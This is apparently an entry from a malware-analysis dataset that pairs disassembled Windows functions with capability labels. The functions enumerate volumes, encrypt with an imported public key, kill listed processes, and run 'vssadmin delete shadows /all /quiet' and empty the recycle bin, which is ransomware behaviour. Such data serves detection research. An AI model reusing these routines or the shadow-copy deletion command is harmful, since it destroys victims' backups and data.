joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e10
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x320
push 0x105
lea eax, [ebp - 0x110]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00410280
push 0x105
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00410280
add esp, 0x18
lea eax, [ebp - 0x110]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x404e7b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____error_call_FindFirstVolumeA____code:__d_n
call fcn.00406130
add esp, 8
mov esp, ebp
pop ebp
ret
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, eax
mov ecx, dword [ebp - 0x110]
xor eax, eax
test cl, cl
je 0x404e9b
nop
inc eax
cmp byte [ebp + eax - 0x110], 0
jne 0x404e90
dec eax
cmp cl, 0x5c
jne 0x404fcd
cmp ch, cl
jne 0x404fcd
cmp byte [ebp - 0x10e], 0x3f
jne 0x404fcd
cmp byte [ebp - 0x10d], cl
jne 0x404fcd
lea esi, [ebp - 0x110]
add esi, eax
cmp byte [esi], cl
jne 0x404fcd
push 0x104
lea eax, [ebp - 0x218]
mov byte [esi], 0
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov dword [ebp - 4], eax
mov byte [esi], 0x5c
test eax, eax
je 0x404fbf
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x105
push eax
push 0x105
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameA]
test eax, eax
je 0x404f91
mov bh, byte [ebp - 0x320]
lea eax, [ebp - 0x320]
test bh, bh
je 0x404f8e
mov dl, bh
lea ecx, [edx - 0x61]
cmp cl, 0x19
ja 0x404f45
add dl, 0xe0
add dl, 0xbf
movsx ecx, dl
imul ecx, ecx, 0x105
add ecx, 0x15c0
add ecx, edi
cmp byte [ecx], 0
jne 0x404f7c
mov edx, dword [ebp - 0x218]
test dl, dl
je 0x404f7c
mov bl, dl
lea edx, [ebp - 0x218]
inc edx
mov byte [ecx], bl
lea ecx, [ecx + 1]
mov bl, byte [edx]
test bl, bl
jne 0x404f70
test bh, bh
je 0x404f86
inc eax
cmp byte [eax], 0
jne 0x404f80
mov bh, byte [eax + 1]
inc eax
test bh, bh
jne 0x404f38
mov ebx, dword [ebp - 8]
push 0x104
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
test eax, eax
jne 0x404e83
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x404fe1
push eax
push str.____error_call_FindNextVolumeA____code__d_n
jmp 0x404fd9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____error_call_QueryDosDeviceA____code:__d_n
jmp 0x404fd9
lea eax, [ebp - 0x110]
push eax
push str.____FindFirstVolumeW_FindNextVolumeW_returned_a_bad_path:__s_n
call fcn.00406130
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405000
Capabilities:
Create thread
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
push str.___Init_prgn_data..._n
call fcn.00406130
mov ebx, dword [ebp + 8]
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebx + 0x1528]
push eax
call edi
push 0x68
lea eax, [ebp - 0x100]
mov dword [ebx + 0x14e0], 0
push 0
push eax
call fcn.00410280
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x100], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0xfc], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [ebx + 0x174]
mov dword [ebp - 0xe4], eax
lea eax, [ebp - 0xd8]
push eax
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xd8], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x48
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.00410280
push 0x40
lea eax, [ebp - 0x90]
push eax
push 0x68
lea eax, [ebp - 0x100]
push eax
push 0
push 0x200
call fcn.004074a0
add esp, 0x24
xor esi, esi
nop word [eax + eax]
push 0x40
lea eax, [ebp - 0x90]
mov dword [ebp - 0x94], esi
push eax
push 0x48
lea eax, [ebp - 0x98]
push eax
push 0
push 0x200
call fcn.004074a0
inc esi
add esp, 0x18
cmp esi, 0x2000
jl 0x4050e0
push 0x2c
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.00410280
add esp, 0xc
mov dword [ebp - 0x50], 1
lea eax, [ebp - 0x98]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x40]
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
xor esi, esi
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 4], 0
movq qword [ebp - 0xc], xmm0
nop dword [eax + eax]
push 0
push 0
lea eax, [ebp - 0x50]
push eax
push 0x407ca0
push 0
push 0
call edi
mov dword [ebp + esi*4 - 0x20], eax
inc esi
cmp esi, 8
jl 0x405160
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x20]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call edi
inc esi
cmp esi, 8
jl 0x405195
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
movups xmm0, xmmword [ebp - 0x90]
lea eax, [ebx + 0x158c]
push eax
movups xmmword [ebx + 0x154c], xmm0
movups xmm0, xmmword [ebp - 0x80]
movups xmmword [ebx + 0x155c], xmm0
movups xmm0, xmmword [ebp - 0x70]
movups xmmword [ebx + 0x156c], xmm0
movups xmm0, xmmword [ebp - 0x60]
movups xmmword [ebx + 0x157c], xmm0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406060
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
lea edi, [esi + 0x40]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 4
lea eax, [esi + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4060b3
push 0
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
ret

Function at 0x4060c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
call fcn.00408270
mov esi, eax
cmp dword [esi + 0x184], 0
je 0x40611a
mov eax, dword [esi + 0x39c]
test eax, eax
je 0x40611a
cmp eax, 0xffffffff
je 0x40611a
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
push 0
lea ecx, [ebp - 4]
mov dword [ebp - 4], eax
push ecx
push eax
lea eax, [ebp - 0x404]
push eax
push dword [esi + 0x39c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4061e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 4], 0
cmp ebx, 0xffffffff
je 0x4062a4
push 0x28
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x28
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0xb8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xb8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406780
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0x44]
push 0x44
push 0
push eax
call fcn.00410280
lea eax, [ebp - 0x44]
push eax
push 0
push dword [ebp + 8]
call fcn.00406cf0
add esp, 0x18
test eax, eax
je 0x406823
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push eax
call fcn.00406e20
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea eax, [ebp - 0x40]
add esp, 8
push eax
push dword [ebp - 0x38]
call esi
cmp dword [ebp - 0x40], 0x103
jne 0x4067e4
push 0xffffffffffffffff
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x44], 0
call esi
push dword [ebp - 0x38]
call esi
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.00406e20
add esp, 8
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push eax
call fcn.004066e0
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406cf0
Capabilities:
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x44
push 0
push edi
call fcn.004065c0
push 0x44
call fcn.00406510
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebx, eax
add esp, 0x10
mov dword [ebp - 0xc], 0
xor eax, eax
mov dword [ebp - 0x10], 0
mov dword [ebp + 0x10], 0
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 0
mov word [ebx + 0x30], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0x10]
mov dword [ebx], 0x44
push eax
lea eax, [ebp - 0xc]
mov dword [ebx + 0x2c], 1
push eax
call esi
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
call esi
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x3c], eax
mov eax, dword [ebp - 4]
or dword [ebx + 0x2c], 0x100
mov dword [ebx + 0x40], eax
lea eax, [edi + 0xc]
push eax
push ebx
push 0
push 0
push 4
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x40], eax
call esi
push dword [ebp - 4]
call esi
mov esi, dword [ebp - 8]
test esi, esi
je 0x406e03
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x406df9
mov eax, dword [ebp - 0xc]
mov dword [edi + 0x1c], eax
mov eax, dword [ebp - 0x10]
push ebx
mov dword [edi + 0x20], eax
call fcn.00406560
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 8], 0
mov esi, dword [ebp - 8]
push ebx
call fcn.00406560
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406e20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x800
mov esi, eax
xor edi, edi
xor ebx, ebx
call fcn.00406510
add esp, 4
mov dword [ebp - 4], eax
test ebx, ebx
je 0x406e4b
test edi, edi
jne 0x406e98
mov edi, dword [ebp + 8]
push 0x800
push eax
lea eax, [edi + 0x24]
push eax
push dword [edi + 0x1c]
call fcn.00406ec0
push 0x800
push dword [ebp - 4]
lea ecx, [edi + 0x30]
mov ebx, eax
push ecx
push dword [edi + 0x20]
call fcn.00406ec0
add esp, 0x20
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, dword [ebp + 0xc]
ja 0x406e95
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
jmp 0x406e43
mov eax, dword [ebp - 4]
push eax
call fcn.00406560
add esp, 4
test ebx, ebx
je 0x406eb5
test edi, edi
je 0x406eb5
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406ec0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0
push 0
push 0
push dword [ebp + 8]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x406f04
call ebx
mov esi, 1
jmp 0x406f66
cmp dword [ebp - 8], 0
je 0x406f74
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406f2c
call ebx
mov esi, 1
jmp 0x406f66
mov eax, dword [ebp - 4]
test eax, eax
je 0x406f66
mov ecx, dword [edi + 4]
cmp ecx, 0x1400000
ja 0x406f66
add eax, ecx
push eax
push dword [edi]
call fcn.00406490
push dword [ebp - 4]
mov ecx, eax
mov eax, dword [edi + 4]
push dword [ebp + 0x10]
add eax, ecx
mov dword [edi], ecx
push eax
call fcn.00406580
mov ecx, dword [ebp - 4]
add esp, 0x14
add dword [edi + 4], ecx
cmp dword [ebp - 8], 0
je 0x406f74
test esi, esi
je 0x406ed4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406fc0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push pe_nt_image_headers32
mov eax, dword [esi]
mov dword [ebp + 0x14], eax
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x407007
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CryptEncrypt___error__code:__d_n
call fcn.00406130
add esp, 8
xor eax, eax
pop esi
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov dword [esi], eax
mov eax, 1
pop esi
pop ebp
ret

Function at 0x407020
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 1
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x407073
call esi
cmp eax, 0x80090016
jne 0x407073
push 8
push 1
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x407073
call esi
push eax
push str.____CryptAcquireContextA_error__code:__d_n
call fcn.00406130
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
ret
lea eax, [edi + 4]
push eax
mov eax, dword [ebp + 8]
push 0
push 0
push dword [eax + 0xde4]
add eax, 0x5e4
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4070ac
call esi
push eax
push str.____CryptImportKey_Public__error__code:__d_n
call fcn.00406130
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret
Function at 0x407780
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], eax
lea ebx, [edi + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 4]
mov eax, dword [edi + 8]
and ecx, 0x3f
push ebx
movzx eax, byte [ecx + eax + 8]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
nop dword [eax + eax]
test bl, 0x3f
jne 0x4077e1
test esi, esi
je 0x4077d2
push esi
call fcn.004063c0
add esp, 4
push 0x1000
call fcn.00406330
add esp, 4
mov esi, eax
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 4]
push 0x40
mov dword [eax], ecx
mov eax, dword [edi + 8]
mov dword [eax + 4], esi
mov ecx, dword [edi + 8]
lea eax, [ecx + 8]
push eax
push 0x48
push ecx
push 0
push 0x200
call fcn.004074a0
add esp, 0x18
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc ebx
cmp ebx, 0x400
jl 0x4077c0
push dword [0x41a030]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 8], ebx
lea eax, [ebx + 0x48]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebx], 0
jne 0x40788e
mov ecx, dword [ebp - 4]
inc ecx
mov dword [ebx], ecx
lea ebx, [edi + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 8]
push ebx
movups xmm0, xmmword [eax + 8]
movups xmmword [ecx + 8], xmm0
movups xmm0, xmmword [eax + 0x18]
movups xmmword [ecx + 0x18], xmm0
movups xmm0, xmmword [eax + 0x28]
movups xmmword [ecx + 0x28], xmm0
movups xmm0, xmmword [eax + 0x38]
mov dword [ecx + 4], 0
movups xmmword [ecx + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
cmp dword [ebp + 8], ebx
jbe 0x407904
nop
test bl, 0xf
jne 0x4078c1
test esi, esi
je 0x4078b2
push esi
call fcn.004063c0
add esp, 4
push 0x1000
call fcn.00406330
add esp, 4
mov esi, eax
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 4]
push 0x40
mov dword [eax], ecx
mov eax, dword [edi + 8]
mov dword [eax + 4], esi
mov ecx, dword [edi + 8]
lea eax, [ecx + 8]
push eax
push 0x48
push ecx
push 0
push 0x200
call fcn.004074a0
add esp, 0x18
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x4078a0
push esi
call fcn.004063c0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4079a0
Capabilities:
Create process on windows
Delete volume shadow copies
Empty the recycle bin
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push esi
push str.___Start_clear_backups.._n
call fcn.00406130
push 0x40
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00410280
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0x44
xor eax, eax
mov dword [ebp - 0x60], 1
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x5c], ax
movq xmm0, qword [str.Sysnative]
mov ax, word [0x411f38]
movq qword [ebp - 0x48], xmm0
movq xmm0, qword [str.System32]
mov word [ebp - 0x40], ax
mov al, byte [0x411f44]
movq qword [ebp - 0x2c], xmm0
mov byte [ebp - 0x24], al
call fcn.00407c40
test eax, eax
lea ecx, [ebp - 0x2c]
push 0x64
lea eax, [ebp - 0xf0]
push 0
lea esi, [ebp - 0x48]
push eax
cmove esi, ecx
call fcn.00410280
add esp, 0x1c
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 7], 0
xorps xmm0, xmm0
mov byte [ebp - 3], 0
movups xmmword [ebp - 0x1f], xmm0
push 0
push 0x24
push eax
push 0
movq qword [ebp - 0xf], xmm0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
cmp byte [ebp - 0x20], al
je 0x407a7d
inc eax
cmp byte [ebp + eax - 0x20], 0
jne 0x407a63
test eax, eax
je 0x407a7d
cmp byte [ebp + eax - 0x21], 0x5c
je 0x407a7d
mov word [ebp + eax - 0x20], 0x5c
push esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push str._s_s_vssadmin.exe_delete_shadows__all__quiet
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0xf0]
push eax
push str.___Try_to_run_command:__s_n
call fcn.00406130
add esp, 0x18
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0xf0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407ae9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CreateProcessA_vssadmin__error__code__d_n
call fcn.00406130
add esp, 8
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
test eax, eax
je 0x407b07
push eax
push str.____SHEmptyRecycleBinA___call_error__code__d_n
call fcn.00406130
add esp, 8
push 0x7d0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407bb0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
push edi
push dword [0x41a030]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
lea edi, [esi + 0x48]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esi + 4]
mov ebx, dword [esi + ecx*4 + 8]
inc ecx
mov dword [esi + 4], ecx
cmp ecx, 0x10
jne 0x407c02
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x40
mov dword [esi], eax
lea eax, [esi + 8]
push eax
push 0x60
push esi
push 0
push 0x200
mov dword [esi + 4], 0
call fcn.004074a0
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x407c40
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [0x41a02c]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push str.IsWow64Process
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41ac98], eax
test eax, eax
je 0x407c96
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41ac98]
test eax, eax
jne 0x407c96
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____IsWow64Process___call_error__code__d_n
call fcn.00406130
add esp, 8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x407d80
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x407db3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____call_CreateToolhelp32Snapshot___failed__code__d_n
call fcn.00406130
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.00410280
add esp, 0xc
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x407e04
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____call_Process32First___failed__code__d_n
call fcn.00406130
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x124], eax
je 0x407e9c
xor esi, esi
cmp dword [edi + 0x3bc], esi
jle 0x407e9c
nop dword [eax + eax]
mov eax, dword [edi + 0x3c0]
push dword [eax + esi*4]
lea eax, [ebp - 0x108]
push eax
call fcn.004080d0
add esp, 8
test eax, eax
jne 0x407e57
inc esi
cmp esi, dword [edi + 0x3bc]
jl 0x407e30
jmp 0x407e9c
push dword [ebp - 0x124]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x407e81
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x407ea2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x108]
push eax
push str.____call_OpenProcess__s__failed__code__d_n
call fcn.00406130
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
mov eax, dword [ebp - 4]
jne 0x407e12
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret